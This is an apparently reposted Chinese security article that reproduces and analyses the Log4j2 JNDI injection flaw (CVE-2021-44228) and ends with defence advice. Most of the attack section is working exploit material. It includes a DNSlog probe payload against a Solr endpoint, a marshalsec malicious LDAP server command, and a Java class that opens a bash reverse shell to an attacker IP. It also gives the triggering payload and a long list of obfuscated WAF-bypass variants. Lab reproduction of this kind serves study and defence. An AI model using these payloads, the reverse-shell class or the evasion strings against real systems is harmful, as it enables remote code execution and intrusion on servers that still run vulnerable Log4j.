log4j2(CVE-2021-44228)漏洞复现与分析
Apache Log4j 2 是 Apache 开发的 Java 日志框架,用于记录应用程序运行信息。其 JNDI 注入漏洞允许攻击者通过恶意 JNDI 表达式触发远程代码执行。漏洞影响 Log4j 2.x <= 2.14.1 版本,防御措施包括禁用 Lookup、拦截恶意请求、限制外网访问及升级组件版本。 2025-10-10 16:4:25 Author: www.freebuf.com(查看原文) 阅读量:101 收藏

Log4j2 全称为 Apache Log4j 2,是由 Apache 软件基金会开发的一款开源日志框架,用于 Java 应用程序的日志记录与管理。它并非凭空出现,而是对经典日志框架 Log4j 1.x 的升级迭代:

  • 起源背景:Log4j 1.x 诞生于 2001 年,曾长期垄断 Java 日志市场,但随着分布式、高并发应用的普及,其性能瓶颈(如同步日志阻塞、内存泄漏风险)和功能局限(如不支持异步日志优化、配置灵活性不足)逐渐凸显。Apache 基金会于 2014 年正式发布 Log4j 2,以解决 1.x 的痛点。

  • 核心定位:作为 “日志框架”,Log4j2 的核心作用是规范、便捷地记录应用运行过程中的关键信息—— 包括用户操作、系统错误、性能指标、异常堆栈等,帮助开发者排查问题、运维人员监控系统、安全人员追溯攻击行为。

  • 生态归属:Log4j2 是 Apache 顶级项目,与 Logback、SLF4J 共同构成 Java 日志生态的 “三驾马车”,但凭借更优的性能和更丰富的功能,Log4j2 逐渐成为企业级应用的首选。

漏洞核心机制分析

1. JNDI的特性

JNDI 是 Java 提供的标准接口,允许程序通过名称查找远程资源。攻击者可利用 JNDI 的命名引用功能,引导目标系统加载远程恶意类文件。

协议支持:JNDI 支持 LDAP、RMI 等协议,其中 LDAP 协议可返回指向远程类文件的引用。

动态加载:当 JNDI 解析到远程类引用时,Java 虚拟机会自动下载并实例化该类,执行其中的静态代码块或构造函数。

2. Log4j 的 Lookup 机制

Log4j2 引入了动态变量替换功能,允许在日志消息中使用 ${} 占位符执行表达式解析。例如:

  • ${java:version}可获取 Java 版本信息。
  • ${jndi:ldap://example.com/exp}可触发 JNDI 查询。

3. 漏洞触发条件

当 Log4j 记录包含用户可控的 JNDI 表达式(如 ${jndi:ldap://example.com/exp})的日志时,会自动解析该表达式并向指定的 LDAP/RMI 服务器发起请求。若服务器返回恶意类引用,目标系统将加载并执行恶意代码。

4.受影响版本

Apache Log4j 2.x <= 2.14.1

漏洞复现

使用dnslog平台验证漏洞是否存在

payload:

/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.xxxxx.dnslog.cn}

1760101271_68e903974e37cf88c51ee.png!small?1760101271576

可以看到存在漏洞

攻击流程

除了jndi还有sys,java,env等可以利用,这里演示LDAP

先启动一个恶意的 LDAP 服务器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.109.1:8080/#Reverse 5555

marshalsec-0.0.3-SNAPSHOT-all.jar 是一个专门用于测试 Java 反序列化和 JNDI 注入漏洞的工具包的 jar 文件。它包含了多种恶意服务端实现(如 LDAP、RMI 服务器),用于模拟攻击者的恶意服务。

这个命令通过 Java 运行 marshalsec 工具中的 LDAPRefServer 类,启动一个监听 5555 端口的恶意 LDAP 服务器,该服务器会响应客户端的 JNDI-LDAP 查询,引导客户端从http://192.168.109.1:8080/下载名为 reverse 的恶意 Java 类并执行

开启http服务

python -m http.server 8080

反弹shell恶意类代码

import java.lang.Runtime;

import java.lang.Process;

public class Reverse{

static {

try{

Runtime rt = Runtime.getRuntime();

String[] commands = {"bash", "-c", "bash -i >&  /dev/tcp/192.168.109.1/4563 0>&1"};

Process pc = rt.exec(commands);

pc.waitFor();

} catch (Exception e) {

}

}

}

把这个编译为字节码文件后放在web根目录

1760108674_68e92082df3c9f020a2f5.png!small?1760108675107

payload

/solr/admin/cores?action=${jndi:ldap://192.168.109.1:5555/reverse}

成功shell反弹shell

1760108884_68e921549d8b705c1ae90.png!small?1760108884936

RMI 的实现类似 LDAP,这里就不演示了

常见绕WAF的方法

1.大小写

${${lower:jndi}:${lower:rmi}://test.com/j}
${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j}
${jndi:${lower:l}${lower:d}a${lower:p}://domain.com}

2. 利用分隔符和多个${}

${${fdafasdfasdfasfdas:-j}ndi:ldap://127.0.0.1:3890/test}
${${env:TEST:-j}ndi${env:TEST:-:}${env:TEST:-l}dap${env:TEST:-:}//192.168.109.1:8080/test}

3. "::-"符号

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://192.168.109.1:8080/reverse}

4.无效的编码字符

${jnd${upper:ı}:ldap://127.0.0.1/shell}

5.Unicode编码

${\u006a\u006e\u0064\u0069:\u006c\u0064\u0061\u0070://attacker.com}

6.各种方法组合

${${a:-j}ndi:ldap://127.0.0.1:8080/shell};
${${a:-j}n${::-d}i:ldap://127.0.0.1:8080/shell};
${${lower:jn}di:ldap://127.0.0.1:8080/shell};
${${lower:${upper:jn}}di:ldap://127.0.0.1:8080/shell};
${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:8080/shell};
jn${env::-}di:ldap://192.168.1.100:5555/exp
jn${date:}di${date:':'}ldap://192.168.1.100:5555
j${k8s:k5:-ND}i${sd:k5:-:}ldap://192.168.1.100:5555
j${main:\k5:-Nd}i${spring:k5:-:}rmi://192.168.1.100:1099
j${sys:k5:-nD}${lower:i${web:k5:-:}}ldap://192.168.1.100:636/exp
jnDi:ldaps://192.168.1.100:636/exp
j${::-nD}i${::-:}dns://192.168.1.100:53/exp
j${EnV:K5:-nD}i:ldap://192.168.1.100:8080/../exp
j${loWer:Nd}i${uPper::}ldap://192.168.1.100:9999/exp

漏洞防御

1.设置log4j2.formatMsgNoLookups=True。相当于直接禁止lookup查询出栈,也就不可能请求到访问到远程的恶意站点。

2.对包含有"jndi:ldap://"、"jndi:rmi//"、"dns://"这样字符串的请求进行拦截,即拦截JNDI语句来防止JNDI注入。

3.对系统进行合理配置,禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络等等。

4.升级log4j2组件到新的安全的版本。


文章来源: https://www.freebuf.com/articles/web/452167.html
如有侵权请联系:admin#unsafe.sh